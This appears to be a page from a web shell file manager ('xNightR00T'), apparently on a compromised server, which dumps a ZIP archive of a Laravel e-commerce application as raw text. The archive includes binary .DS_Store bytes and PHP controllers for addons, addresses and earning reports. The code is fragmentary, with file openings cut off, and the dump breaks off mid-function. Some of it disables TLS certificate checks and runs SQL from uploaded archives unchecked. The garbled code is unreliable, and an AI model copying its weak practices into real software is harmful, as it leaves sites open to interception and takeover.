xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
PKPM]5�Z  .DS_Storenu�[���Bud1 4olelg1Sco  @� @� @� @4Consolelg1ScompzConsolemoDDblob"V��AConsolemodDblob"V��AConsoleph1Scomp Contractslg1Scomp� ContractsmoDDblob"V��A ContractsmodDblob"V��A Contractsph1ScompEnumslg1Scomp�EnumsmoDDblob"V��AEnumsmodDblob"V��AEnumsph1Scomp Exceptionslg1Scomp� ExceptionsmoDDblob"V��A ExceptionsmodDblob"V��A Exceptionsph1Scomp Httplg1ScompGTHttpmoDDblob����AHttpmodDblob����AHttpph1Scomp% Maillg1Scomp gMailmoDDblob#V��AMailmodDblob#V��AMailph1Scomp�Modelslg1ScompG�ModelsmoDDblob#V��AModelsmodDblob#V��AModelsph1Scomp � Notificationslg1Scomp;� NotificationsmoDDblob#V��A NotificationsmodDblob#V��A Notificationsph1Scomp� Providerslg1ScompQ ProvidersmoDDblob#V��A ProvidersmodDblob#V��A Providersph1Scomp�Ruleslg1Scomp�RulesmoDDblob#V��ARulesmodDblob#V��ARulesph1ScompServiceslg1Scomp�qServicesmoDDblob����AServicesmodDblob����AServicesph1Scomp�Traitslg1ScompTraitsmoDDblob#V��ATraitsmodDblob#V��ATraitsph1Scomp Utilitylg1Scomp�UtilitymoDDblob#V��AUtilitymodDblob#V��AUtilityph1Scompp E DSDB `� @� @� @ersmodDblob#V��A Providersph1Scomp�Ruleslg1Scomp�RulesmoDDblob#V��ARulesmodDblob#V��ARulesph1ScompServiceslg1Scomp�qServicesmoDDblob����AServicesmodDblob����AServicesph1Scomp�Traitslg1ScompTraitsmoDDblob#V��ATraitsmodDblob#V��ATraitsph1Scomp Utilitylg1Scomp�UtilitymoDDblob#V��AUtilitymodDblob#V��AUtilityph1ScomppPKPM]gϞk��Console/Kernel.phpnu�[���call(function () { if (!Schema::hasTable('cj_settings')) { return; } $settings = CjSetting::singleton(); if (!$settings->enabled) { return; } CjSyncPriceStockJob::dispatch(250); })->name('cj-price-stock-sync')->everyThirtyMinutes()->withoutOverlapping(); $schedule->call(function () { if (!Schema::hasTable('cj_settings')) { return; } $settings = CjSetting::singleton(); if (!$settings->enabled) { return; } CjSyncTrackingJob::dispatch(250); })->name('cj-tracking-sync')->everyFifteenMinutes()->withoutOverlapping(); } /** * Register the commands for the application. * * @return void */ protected function commands() { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } PKPM]s�2L��Contracts/SendSms.phpnu�[���reportable(function (Throwable $e) { // }); } public function render($request, Throwable $e) { if ($e instanceof Redirectingexception) { return redirect()->back(); } if($this->isHttpException($e)) { if ($request->is('customer-products/admin')) { return NgeniusUtility::initPayment(); } return parent::render($request, $e); } else { return parent::render($request, $e); } } }PKPM]��W���#Exceptions/Redirectingexception.phpnu�[��� $this->collection->map(function ($data) { return [ 'id' => $data->id, 'slug' => $data->slug, 'name' => $data->getTranslation('name'), 'cover_image' => uploaded_asset($data->cover_image), 'banner' => uploaded_asset($data->banner), 'icon' => uploaded_asset($data->icon), 'number_of_children' => CategoryUtility::get_immediate_children_count($data->id), 'links' => [ 'products' => route('api.products.category', $data->id), 'sub_categories' => route('subCategories.index', $data->id) ] ]; }) ]; } public function with($request) { return [ 'success' => true, 'status' => 200 ]; } } PKPM]�sd��E�E$Http/Controllers/AddonController.phpnu�[���middleware(['permission:manage_addons'])->only('index', 'create'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $addons = Addon::query()->orderBy('name', 'asc')->get(); return view('backend.addons.index', compact('addons')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('backend.addons.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { Cache::forget('addons'); if (env('DEMO_MODE') == 'On') { flash(translate('This action is disabled in demo mode'))->error(); return back(); } if (class_exists('ZipArchive')) { if ($request->hasFile('addon_zip')) { if (! self::isLocalhostDomain()) { $result = self::check_activation($request); if(isset($result) && $result !== true){ flash($result == false ? 'Please use the same purchase key that you have registered' : $result )->warning(); return back(); } } // Create update directory. $dir = 'addons'; if (!is_dir($dir)) mkdir($dir, 0777, true); $path = Storage::disk('local')->put('addons', $request->addon_zip); $zipped_file_name = $request->addon_zip->getClientOriginalName(); //Unzip uploaded update file and remove zip file. $zip = new ZipArchive; $res = $zip->open(base_path('public/' . $path)); $random_dir = Str::random(10); $dir = trim($zip->getNameIndex(0), '/'); if ($res === true) { $res = $zip->extractTo(base_path('temp/' . $random_dir . '/addons')); $zip->close(); } else { dd('could not open'); } $str = file_get_contents(base_path('temp/' . $random_dir . '/addons/' . $dir . '/config.json')); $json = json_decode($str, true); //dd($random_dir, $json); if (version_compare( BusinessSetting::where('type', 'current_version')->first()->value,$json['minimum_item_version'], '>=')){ if (count(Addon::where('unique_identifier', $json['unique_identifier'])->get()) == 0) { $addon = new Addon; $addon->name = $json['name']; $addon->unique_identifier = $json['unique_identifier']; $addon->version = $json['version']; $addon->activated = 1; $addon->image = $json['addon_banner']; $addon->purchase_code = $request->purchase_code; $addon->save(); // Create new directories. if (!empty($json['directory'])) { //dd($json['directory'][0]['name']); foreach ($json['directory'][0]['name'] as $directory) { if (is_dir(base_path($directory)) == false) { mkdir(base_path($directory), 0777, true); } else { echo "error on creating directory"; } } } // Create/Replace new files. if (!empty($json['files'])) { foreach ($json['files'] as $file) { copy(base_path('temp/' . $random_dir . '/' . $file['root_directory']), base_path($file['update_directory'])); } } // Create/Replace new folders. if (!empty($json['folders'])) { foreach ($json['folders'] as $folder) { $sourceFolder = base_path('temp/' . $random_dir . '/' . $folder['root_directory']); $destinationFolder = base_path($folder['update_directory']); // Copy the folder recursively $this->copyFolder($sourceFolder, $destinationFolder); } } // Run sql modifications $sql_path = base_path('temp/' . $random_dir . '/addons/' . $dir . '/sql/update.sql'); if (file_exists($sql_path)) { DB::unprepared(file_get_contents($sql_path)); } if($addon->unique_identifier == 'gst_system'){ $this->removeProductVat_Unpublish(); } flash(translate('Addon installed successfully'))->success(); return redirect()->route('addons.index'); } else { $addon = Addon::where('unique_identifier', $json['unique_identifier'])->first(); if ($json['unique_identifier'] == 'delivery_boy' && $addon->version < 3.3) { $dir = base_path('resources/views/delivery_boys'); foreach (glob($dir . "/*.*") as $filename) { if (is_file($filename)) { unlink($filename); } } } // Create new directories. if (!empty($json['directory'])) { //dd($json['directory'][0]['name']); foreach ($json['directory'][0]['name'] as $directory) { if (is_dir(base_path($directory)) == false) { mkdir(base_path($directory), 0777, true); } else { echo "error on creating directory"; } } } // Create/Replace new files. if (!empty($json['files'])) { foreach ($json['files'] as $file) { copy(base_path('temp/' . $random_dir . '/' . $file['root_directory']), base_path($file['update_directory'])); } } // Create/Replace new folders. if (!empty($json['folders'])) { foreach ($json['folders'] as $folder) { $sourceFolder = base_path('temp/' . $random_dir . '/' . $folder['root_directory']); $destinationFolder = base_path($folder['update_directory']); // Copy the folder recursively $this->copyFolder($sourceFolder, $destinationFolder); } } for ($i = $addon->version + 0.05; $i <= $json['version']; $i = $i + 0.1) { // Run sql modifications $sql_version = $i + 0.05; $sql_path = base_path('temp/' . $random_dir . '/addons/' . $dir . '/sql/' . $sql_version . '.sql'); if (file_exists($sql_path)) { DB::unprepared(file_get_contents($sql_path)); } } $addon->version = $json['version']; $addon->name = $json['name']; $addon->image = $json['addon_banner']; $addon->purchase_code = $request->purchase_code; $addon->save(); flash(translate('This addon is updated successfully'))->success(); return redirect()->route('addons.index'); } } else { flash(translate('This version is not capable of installing Addons, Please update.'))->error(); return redirect()->route('addons.index'); } } } else { flash(translate('Please enable ZipArchive extension.'))->error(); return back(); } } /** * Display the specified resource. * * @param \App\Models\Addon $addon * @return \Illuminate\Http\Response */ public function show(Addon $addon) { // } public function list() { //return view('backend.'.Auth::user()->role.'.addon.list')->render(); } /** * Show the form for editing the specified resource. * * @param \App\Models\Addon $addon * @return \Illuminate\Http\Response */ public function edit(Addon $addon) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\Addon $addon * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { } /** * Remove the specified resource from storage. * * @param \App\Models\Addon $addon * @return \Illuminate\Http\Response */ public function activation(Request $request) { if (env('DEMO_MODE') == 'On') { flash(translate('This action is disabled in demo mode'))->error(); return 0; } $addon = Addon::find($request->id); $addon->activated = $request->status; $addon->save(); if($addon->unique_identifier == 'gst_system'){ $this->removeProductVat_Unpublish(); } Cache::forget('addons'); return 1; } public function check_activation( $data){ $domainPurchaseCode = $data->input('domain_purchase_code'); $addonPurchaseCode = $data->input('purchase_code'); // Step 1: Check main item activation $check_domain_verification = self::checkVerification('item',$domainPurchaseCode); $check_domain_activation = self::checkActivation('item',$domainPurchaseCode); if (!$check_domain_verification || !$check_domain_activation) { return translate('Please activate your domain at first'); } // Step 2: Check addon activation $check_addon_verification = self::checkVerification('addon',$addonPurchaseCode); $check_addon_activation = self::checkActivation('addon',$addonPurchaseCode); if (!$check_addon_verification || !$check_addon_activation) { return translate('Please activate your addon at first'); } // Step 3: Get the registered addon using the purchase code $check_registered_addon = self::check_registered_addon($addonPurchaseCode); if (!$check_registered_addon) { return translate('This addon is not registered with this domain, please register at first'); } // if(self::normalizeDomain(($check_registered_addon[0])) == self::normalizeDomain(($_SERVER['SERVER_NAME']))){ if (strcasecmp(self::normalizeDomain($check_registered_addon[0]), self::normalizeDomain($_SERVER['SERVER_NAME'])) === 0) { return true; } return false; } public static function checkVerification( $type, $key){ $res = self::script_activation_check($key); return $res; } public static function checkActivation( $type, $key){ if($type == 'item'){ $url = "https://activation.activeitzone.com/item_info/".$key; }else{ $url = "https://activation.activeitzone.com/registered-addon-info/".$key; } $res = self::sendRequest( $url); return $res ? true : false; } public static function sendRequest( $url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPGET, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); curl_close($ch); return $response; } public static function script_activation_check($purchase_code) { $url = "https://activeitzone.com/activation/verify-purchase-code/".$purchase_code; $request_data_json = json_encode(['code' => $purchase_code]); $header = array( 'Content-Type:application/json' ); $stream = curl_init(); curl_setopt($stream, CURLOPT_URL, $url); curl_setopt($stream, CURLOPT_HTTPHEADER, $header); curl_setopt($stream, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($stream, CURLOPT_RETURNTRANSFER, true); curl_setopt($stream, CURLOPT_POSTFIELDS, $request_data_json); curl_setopt($stream, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $rn = curl_exec($stream); curl_close($stream); return $rn; } public static function check_registered_addon($purchase_code) { $url = "https://activation.activeitzone.com/registered-addon-list/".$purchase_code; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPGET, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); curl_close($ch); return json_decode($response, true); } public static function normalizeDomain($domain){ $domain = preg_replace('/^https?:\/\//', '', $domain); $domain = preg_replace('/^www\./', '', $domain); $parts = explode('.', $domain); $count = count($parts); if ($count > 2) { $domain = $parts[$count - 2] . '.' . $parts[$count - 1]; } return $domain; } public static function isLocalhostDomain() { if (isset($_SERVER['HTTP_HOST']) && strpos($_SERVER['HTTP_HOST'], 'localhost') !== false) { return true; } return false; } public function copyFolder($source, $destination) { if (!is_dir($source)) { return false; } // Create the destination directory if it doesn't exist if (!is_dir($destination)) { mkdir($destination, 0777, true); } $directory = opendir($source); while (($file = readdir($directory)) !== false) { if ($file === '.' || $file === '..') { continue; // Skip current and parent directory pointers } $srcPath = $source . DIRECTORY_SEPARATOR . $file; $destPath = $destination . DIRECTORY_SEPARATOR . $file; if (is_dir($srcPath)) { // Recursively copy subdirectory $this->copyFolder($srcPath, $destPath); } else { // Copy file copy($srcPath, $destPath); } } closedir($directory); return true; } private function removeProductVat_Unpublish(){ ProductTax::query()->delete(); Product::whereNull('hsn_code') ->orWhere('hsn_code', '') ->update(['published' => 0]); if (addon_is_activated('preorder')) { PreorderProductTax::query()->delete(); PreorderProduct::whereNull('hsn_code')->orWhere('hsn_code', '')->update(['is_published' => 0]); } $business_settings = BusinessSetting::where('type', 'has_state')->first(); if (!$business_settings) { $business_settings = new BusinessSetting(); $business_settings->type = 'has_state'; } $business_settings->value = 1; $business_settings->save(); Artisan::call('cache:clear'); flash(translate('Tax data for all products has been deleted.'))->warning(); } } PKPM]}�mO'O'&Http/Controllers/AddressController.phpnu�[���has('customer_id')) { $address->user_id = $request->customer_id; } else { $address->user_id = Auth::user()->id; } $address->address = $request->address; $address->country_id = $request->country_id; $address->state_id = $request->state_id; $address->city_id = $request->city_id; $address->area_id = $request->area_id; $address->longitude = $request->longitude; $address->latitude = $request->latitude; $address->postal_code = $request->postal_code; $address->phone = '+' . $request->country_code . $request->phone; $address->save(); flash(translate('Address info Stored successfully'))->success(); return back(); } public function billing_store(Request $request) { $address = new Address; if ($request->has('customer_id')) { $address->user_id = $request->customer_id; } else { $address->user_id = Auth::user()->id; } $address->address = $request->address; $address->country_id = $request->country_id; $address->state_id = $request->state_id; $address->city_id = $request->city_id; $address->area_id = $request->area_id; $address->longitude = $request->longitude; $address->latitude = $request->latitude; $address->postal_code = $request->postal_code; $address->phone = '+' . $request->country_code . $request->phone; $address->set_billing = 1; $address->save(); flash(translate('Billing Address Stored successfully'))->success(); return back(); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $data['address_data'] = Address::findOrFail($id); $data['states'] = State::where('status', 1)->where('country_id', $data['address_data']->country_id)->get(); $data['cities'] = City::where('status', 1) ->where(get_setting('has_state') == 1 ? 'state_id' : 'country_id', get_setting('has_state') == 1 ? $data['address_data']->state_id : (get_active_countries()->count() == 1 ? get_active_countries()->first()->id : $data['address_data']->country_id)) ->get(); //Log::info('Fetched cities:', ['cities' => $data['cities']]); $data['areas'] = Area::where('status', 1)->where('city_id', $data['address_data']->city_id)->get(); $returnHTML = view('frontend.partials.address.address_edit_modal', $data)->render(); return response()->json(array('data' => $data, 'html' => $returnHTML)); // return ; } public function edit_billing($id) { $data['address_data'] = Address::findOrFail($id); $data['states'] = State::where('status', 1)->where('country_id', $data['address_data']->country_id)->get(); $data['cities'] = City::where('status', 1) ->where(get_setting('has_state') == 1 ? 'state_id' : 'country_id', get_setting('has_state') == 1 ? $data['address_data']->state_id : (get_active_countries()->count() == 1 ? get_active_countries()->first()->id : $data['address_data']->country_id)) ->get(); //Log::info('Fetched cities:', ['cities' => $data['cities']]); $data['areas'] = Area::where('status', 1)->where('city_id', $data['address_data']->city_id)->get(); $returnHTML = view('frontend.partials.address.billing_address_edit_modal', $data)->render(); return response()->json(array('data' => $data, 'html' => $returnHTML)); // return ; } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $address = Address::findOrFail($id); $address->address = $request->address; if (!$request->state_id && ($request->country_id != $address->country_id)) { $address->state_id = null; } else { $address->state_id = $request->state_id ?? $address->state_id; } $address->country_id = $request->country_id; $address->city_id = $request->city_id ?? $address->city_id; $address->area_id = $request->area_id ?? null; $address->longitude = $request->longitude; $address->latitude = $request->latitude; $address->postal_code = $request->postal_code; $address->phone = $request->phone; $address->save(); flash(translate('Address info updated successfully'))->success(); return back(); } public function billing_update(Request $request, $id) { $address = Address::findOrFail($id); $address->address = $request->address; if (!$request->state_id && ($request->country_id != $address->country_id)) { $address->state_id = null; } else { $address->state_id = $request->state_id ?? $address->state_id; } $address->country_id = $request->country_id; $address->city_id = $request->city_id ?? $address->city_id; $address->area_id = $request->area_id ?? null; $address->longitude = $request->longitude; $address->latitude = $request->latitude; $address->postal_code = $request->postal_code; $address->phone = $request->phone; $address->set_billing = 1; $address->save(); flash(translate('Billing Address updated successfully'))->success(); return back(); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $address = Address::findOrFail($id); if (!$address->set_default && !$address->set_billing) { $address->delete(); return back(); } flash(translate('Default address cannot be deleted'))->warning(); return back(); } public function getStates(Request $request) { $states = State::where('status', 1)->where('country_id', $request->country_id)->get(); $html = ''; foreach ($states as $state) { $html .= ''; } echo json_encode($html); } public function getCities(Request $request) { $cities = City::where('status', 1)->where('state_id', $request->state_id)->get(); $html = ''; foreach ($cities as $row) { $html .= ''; } echo json_encode($html); } public function getAreas(Request $request) { $areas = Area::where('status', 1)->where('city_id', $request->city_id)->get(); if ($areas->isEmpty()) { $html = ''; } else { $html = ''; foreach ($areas as $row) { $html .= ''; } } echo json_encode($html); } public function set_default($id) { foreach (Auth::user()->addresses as $key => $address) { $address->set_default = 0; $address->save(); } $address = Address::findOrFail($id); $address->set_default = 1; $address->save(); return back(); } public function set_billing($id) { foreach (Auth::user()->addresses as $key => $address) { $address->set_billing = 0; $address->save(); } $address = Address::findOrFail($id); $address->set_billing = 1; $address->save(); return back(); } public function getCitiesByCountry(Request $request) { $cities = City::where('status', 1)->where('country_id', $request->country_id)->get(); $html = ''; foreach ($cities as $row) { $html .= ''; } echo json_encode($html); } } PKPM]>P���g�g9Http/Controllers/Admin/Report/EarningReportController.phpnu�[���middleware(['permission:earning_report'])->only('index'); } public function index() { // sale data $product_sales = Order::where('delivery_status', 'delivered')->groupBy('time') ->select(DB::raw('SUM(grand_total) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->whereYear('created_at', Carbon::now()->year) ->orderBy(DB::raw('MONTH(created_at)'), 'asc') ->get(); $total_product_sale_earning = Order::where('delivery_status', 'delivered')->sum('grand_total'); $seller_subscriptions = array(); $total_seller_subscriptions_earning = 0; if (addon_is_activated('seller_subscription')) { $seller_subscriptions = SellerPackagePayment::groupBy('time') ->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->whereYear('created_at', Carbon::now()->year) ->where('approval', 1) ->orderBy(DB::raw('MONTH(created_at)'), 'asc') ->get(); $total_seller_subscriptions_earning = SellerPackagePayment::where('approval', 1)->sum('amount'); } $customer_subscriptions = CustomerPackagePayment::groupBy('time') ->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->whereYear('created_at', Carbon::now()->year) ->where('approval', 1) ->orderBy(DB::raw('MONTH(created_at)'), 'asc') ->get(); $total_customer_subscriptions_earning = CustomerPackagePayment::where('approval', 1)->sum('amount'); // Payouts data $seller_payments = Payment::groupBy('time')->where('payment_method','!=','Seller paid to admin') ->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->whereYear('created_at', Carbon::now()->year) ->orderBy(DB::raw('MONTH(created_at)'), 'asc') ->get(); $total_seller_payment_amount = Payment::where('payment_method','!=','Seller paid to admin')->sum('amount'); $refunds = array(); $total_refund_amount = 0; if (addon_is_activated('refund_request')) { $refunds = RefundRequest::groupBy('time') ->select(DB::raw('SUM(refund_amount) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->whereYear('created_at', Carbon::now()->year) ->where('admin_approval', 1) ->orderBy(DB::raw('MONTH(created_at)'), 'asc') ->get(); $total_refund_amount = RefundRequest::where('admin_approval', 1)->sum('refund_amount'); } $delivery_boy_payments = array(); $total_delivery_boy_payment_amount = 0; if (addon_is_activated('delivery_boy')) { $delivery_boy_payments = DeliveryBoyPayment::groupBy('time') ->select(DB::raw('SUM(payment) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')) ->whereYear('created_at', Carbon::now()->year) ->orderBy(DB::raw('MONTH(created_at)'), 'asc') ->get(); $total_delivery_boy_payment_amount = DeliveryBoyPayment::sum('payment'); } $mymonths = array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'); foreach ($mymonths as $month) { // Sales $sale_stat_data['time'] = $month; $sale_stat_data['total'] = 0; foreach ($product_sales as $product_sale) { if ($product_sale->time == $month) $sale_stat_data['total'] += $product_sale->total; } foreach ($seller_subscriptions as $seller_subscription) { if ($seller_subscription->time == $month) $sale_stat_data['total'] += $seller_subscription->total; } foreach ($customer_subscriptions as $customer_subscription) { if ($customer_subscription->time == $month) $sale_stat_data['total'] += $customer_subscription->total; } $sale_stat_data['formatted_price'] = single_price($sale_stat_data['total']); $sale_data[] = $sale_stat_data; //Payouts $payout_stat_data['time'] = $month; $payout_stat_data['total'] = 0; foreach ($seller_payments as $seller_payment) { if ($seller_payment->time == $month) $payout_stat_data['total'] += $seller_payment->total; } foreach ($refunds as $refund) { if ($refund->time == $month) $payout_stat_data['total'] += $refund->total; } foreach ($delivery_boy_payments as $delivery_boy_payment) { if ($delivery_boy_payment->time == $month) $payout_stat_data['total'] += $delivery_boy_payment->total; } $payout_stat_data['formatted_price'] = single_price($payout_stat_data['total']); $payout_data[] = $payout_stat_data; } $data['sales_stat'] = $sale_data; $data['payout_stat'] = $payout_data; // Total sale Alltime and This month Sales $sales_this_month = 0; foreach($data['sales_stat'] as $sale){ if($sale['time'] == date('F')) $sales_this_month += $sale['total']; } $data['total_sales_alltime'] = $total_product_sale_earning + $total_seller_subscriptions_earning + $total_customer_subscriptions_earning; $data['sales_this_month'] = $sales_this_month; // Total sale Alltime and This month Sales end // Total payouts and This month payouts $payout_this_month = 0; foreach($data['payout_stat'] as $payout){ if($payout['time'] == date('F')) $payout_this_month += $payout['total']; } $data['total_payouts'] = $total_seller_payment_amount + $total_refund_amount + $total_delivery_boy_payment_amount; $data['payout_this_month'] = $payout_this_month; // Total payouts and This month payouts end // Category wise Report $data['total_categories'] = Category::count(); $data['top_categories'] = Product::select('categories.name', 'categories.id', DB::raw('SUM(grand_total) as total')) ->leftJoin('order_details', 'order_details.product_id', '=', 'products.id') ->leftJoin('orders', 'orders.id', '=', 'order_details.order_id') ->leftJoin('categories', 'products.category_id', '=', 'categories.id') ->where('orders.delivery_status', 'delivered') ->groupBy('categories.id') ->orderBy('total', 'desc') ->limit(3) ->get(); // Brand wise Report $data['total_brands'] = Brand::count(); $data['top_brands'] = Product::select('brands.name', 'brands.id', DB::raw('SUM(grand_total) as total')) ->leftJoin('order_details', 'order_details.product_id', '=', 'products.id') ->leftJoin('orders', 'orders.id', '=', 'order_details.order_id') ->leftJoin('brands', 'products.brand_id', '=', 'brands.id') ->where('orders.delivery_status', 'delivered') ->groupBy('brands.id') ->orderBy('total', 'desc') ->limit(3) ->get(); if(env('DEMO_MODE') === 'Off'){ $this->packageAmountStoreIntoPackagePaymentTable(); } return view('backend.reports.earning_payout_report', $data); } // Net Sales public function net_sales(Request $request) { $intervalType = $request->interval_type; // Commission $commission_query = CommissionHistory::query(); if ($intervalType == 'DAY') { $commission_query->whereDate('created_at', Carbon::today()); } elseif($intervalType == 'WEEK' || $intervalType == 'MONTH') { $day = $intervalType == 'WEEK' ? 7 : 30; $commission_query->whereDate('created_at', '>', Carbon::now()->subDays($day)); } $commission_query = $commission_query->select(DB::raw('SUM(admin_commission) as total_commission'))->first(); $data['commission'] = $commission_query->total_commission; // Earning from delivery $delivery_cost_query = OrderDetail::query(); $delivery_cost_query->select(DB::raw('SUM(shipping_cost) as total'))->where('delivery_status', 'delivered'); if ($intervalType == 'DAY') { $delivery_cost_query->whereDate('created_at', Carbon::today()); } elseif($intervalType == 'WEEK' || $intervalType == 'MONTH') { $day = $intervalType == 'WEEK' ? 7 : 30; $delivery_cost_query->whereDate('created_at', '>', Carbon::now()->subDays($day)); } $data['delivery'] = $delivery_cost_query->first()->total; // Product Sales $product_sale_query = Order::query(); $product_sale_query = $product_sale_query->select(DB::raw('SUM(grand_total) as total'))->where('delivery_status', 'delivered'); if ($intervalType == 'DAY') { $product_sale_query->whereDate('created_at', Carbon::today()); } elseif($intervalType == 'WEEK' || $intervalType == 'MONTH') { $day = $intervalType == 'WEEK' ? 7 : 30; $product_sale_query->whereDate('created_at', '>', Carbon::now()->subDays($day)); } $product_sale = $product_sale_query->orderBy(DB::raw('MONTH(created_at)'), 'asc')->first(); $data['product_sale'] = $product_sale->total - ($data['commission'] + $data['delivery']); // Seller Subscription $data['seller_subscription'] = 0.00; if (addon_is_activated('seller_subscription')) { $seller_subscription = SellerPackagePayment::query(); if ($intervalType == 'DAY') { $seller_subscription->whereDate('created_at', Carbon::today()); } elseif($intervalType == 'WEEK' || $intervalType == 'MONTH') { $day = $intervalType == 'WEEK' ? 7 : 30; $seller_subscription->whereDate('created_at', '>', Carbon::now()->subDays($day)); } $seller_subscription->select(DB::raw('SUM(amount) as total_amount'))->where('approval', 1); $data['seller_subscription'] = $seller_subscription->first()->total_amount; } // Customer Subscription $customer_subscription = CustomerPackagePayment::query(); if ($intervalType == 'DAY') { $customer_subscription->whereDate('created_at', Carbon::today()); } elseif($intervalType == 'WEEK' || $intervalType == 'MONTH') { $day = $intervalType == 'WEEK' ? 7 : 30; $customer_subscription->whereDate('created_at', '>', Carbon::now()->subDays($day)); } $customer_subscription->select(DB::raw('SUM(amount) as total_amount'))->where('approval', 1); $data['customer_subscription'] = $customer_subscription->first()->total_amount; return $data; } // payouts public function payouts(Request $request) { $intervalType = $request->interval_type; // Seller payout $seller_payout = Payment::where('payment_method','!=','Seller paid to admin'); if ($intervalType == 'DAY') { $seller_payout->whereDate('created_at', Carbon::today()); } elseif($intervalType == 'WEEK' || $intervalType == 'MONTH') { $day = $intervalType == 'WEEK' ? 7 : 30; $seller_payout->whereDate('created_at', '>', Carbon::now()->subDays($day)); } $seller_payout->select(DB::raw('SUM(amount) as total_payout')); $data['seller_payout'] = $seller_payout->first()->total_payout; // Refund Amount $refund_amount = 0; if (addon_is_activated('refund_request')) { $refund_request = RefundRequest::where('admin_approval', 1); if ($intervalType == 'DAY') { $refund_request->whereDate('created_at', Carbon::today()); } elseif($intervalType == 'WEEK' || $intervalType == 'MONTH') { $day = $intervalType == 'WEEK' ? 7 : 30; $refund_request->whereDate('created_at', '>', Carbon::now()->subDays($day)); } $refund_request->select(DB::raw('SUM(refund_amount) as total')); $refund_amount = $refund_request->first()->total; } $data['product_refund'] = $refund_amount; // Delivery Boy payout $delivery_boy_payout = 0; if (addon_is_activated('delivery_boy')) { $delivery_boy_payout = DeliveryBoyPayment::query(); if ($intervalType == 'DAY') { $delivery_boy_payout->whereDate('created_at', Carbon::today()); } elseif($intervalType == 'WEEK' || $intervalType == 'MONTH') { $day = $intervalType == 'WEEK' ? 7 : 30; $delivery_boy_payout->whereDate('created_at', '>', Carbon::now()->subDays($day)); } $delivery_boy_payout->select(DB::raw('SUM(payment) as total')); $delivery_boy_payout = $delivery_boy_payout->first()->total; } $data['delivery_boy_payout'] = $delivery_boy_payout; return $data; } // Sale Analytic function sale_analytic(Request $request) { $intervalType = $request->interval_type; // product Sale Analytics $order_query = Order::where('delivery_status', 'delivered')->groupBy('time')->whereYear('created_at', Carbon::now()->year); if($intervalType == 'MONTH'){ $order_query->select(DB::raw('SUM(grand_total) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')); } else{ $order_query->select(DB::raw('SUM(grand_total) as total'), DB::raw('DATE_FORMAT(created_at, "%d") AS time')) ->whereMonth('created_at', Carbon::now()->month); } $orders = $order_query->orderBy(DB::raw('Date(created_at)'), 'asc')->get(); // product Sale Analytics end // Earning from Seller Subscription $seller_subscriptions = array(); if (addon_is_activated('seller_subscription')) { $seller_subscriptions_query = SellerPackagePayment::groupBy('time')->where('approval', 1)->whereYear('created_at', Carbon::now()->year); if($intervalType == 'MONTH'){ $seller_subscriptions_query->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')); } else{ $seller_subscriptions_query->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%d") AS time')) ->whereMonth('created_at', Carbon::now()->month); } $seller_subscriptions = $seller_subscriptions_query->orderBy(DB::raw('Date(created_at)'), 'asc')->get(); } // Earning from Seller Subscription End // Earning from Customer Subscription $customer_subscription_query = CustomerPackagePayment::groupBy('time')->where('approval', 1)->whereYear('created_at', Carbon::now()->year); if($intervalType == 'MONTH'){ $customer_subscription_query->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%M") AS time')); } else{ $customer_subscription_query->select(DB::raw('SUM(amount) as total'), DB::raw('DATE_FORMAT(created_at, "%d") AS time')) ->whereMonth('created_at', Carbon::now()->month); } $customer_subscriptions = $customer_subscription_query->orderBy(DB::raw('Date(created_at)'), 'asc')->get(); // Earning from Customer Subscription End $mymonths = array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'); $new_data = array(); if ($intervalType == 'MONTH') { foreach ($mymonths as $month) { $data['bg_color'] = "#1D82FA"; $data['time'] = $month; $data['total'] = 0; foreach ($orders as $order) { if ($order->time == $month) { $data['total'] += $order->total; } } foreach ($seller_subscriptions as $seller_subscription) { if ($seller_subscription->time == $month) { $data['total'] += $seller_subscription->total; } } foreach ($customer_subscriptions as $customer_subscription) { if ($customer_subscription->time == $month) { $data['total'] += $customer_subscription->total; } } $new_data[] = $data; } } else { $days = cal_days_in_month(CAL_GREGORIAN,date('m'),date('Y')); for($i=1 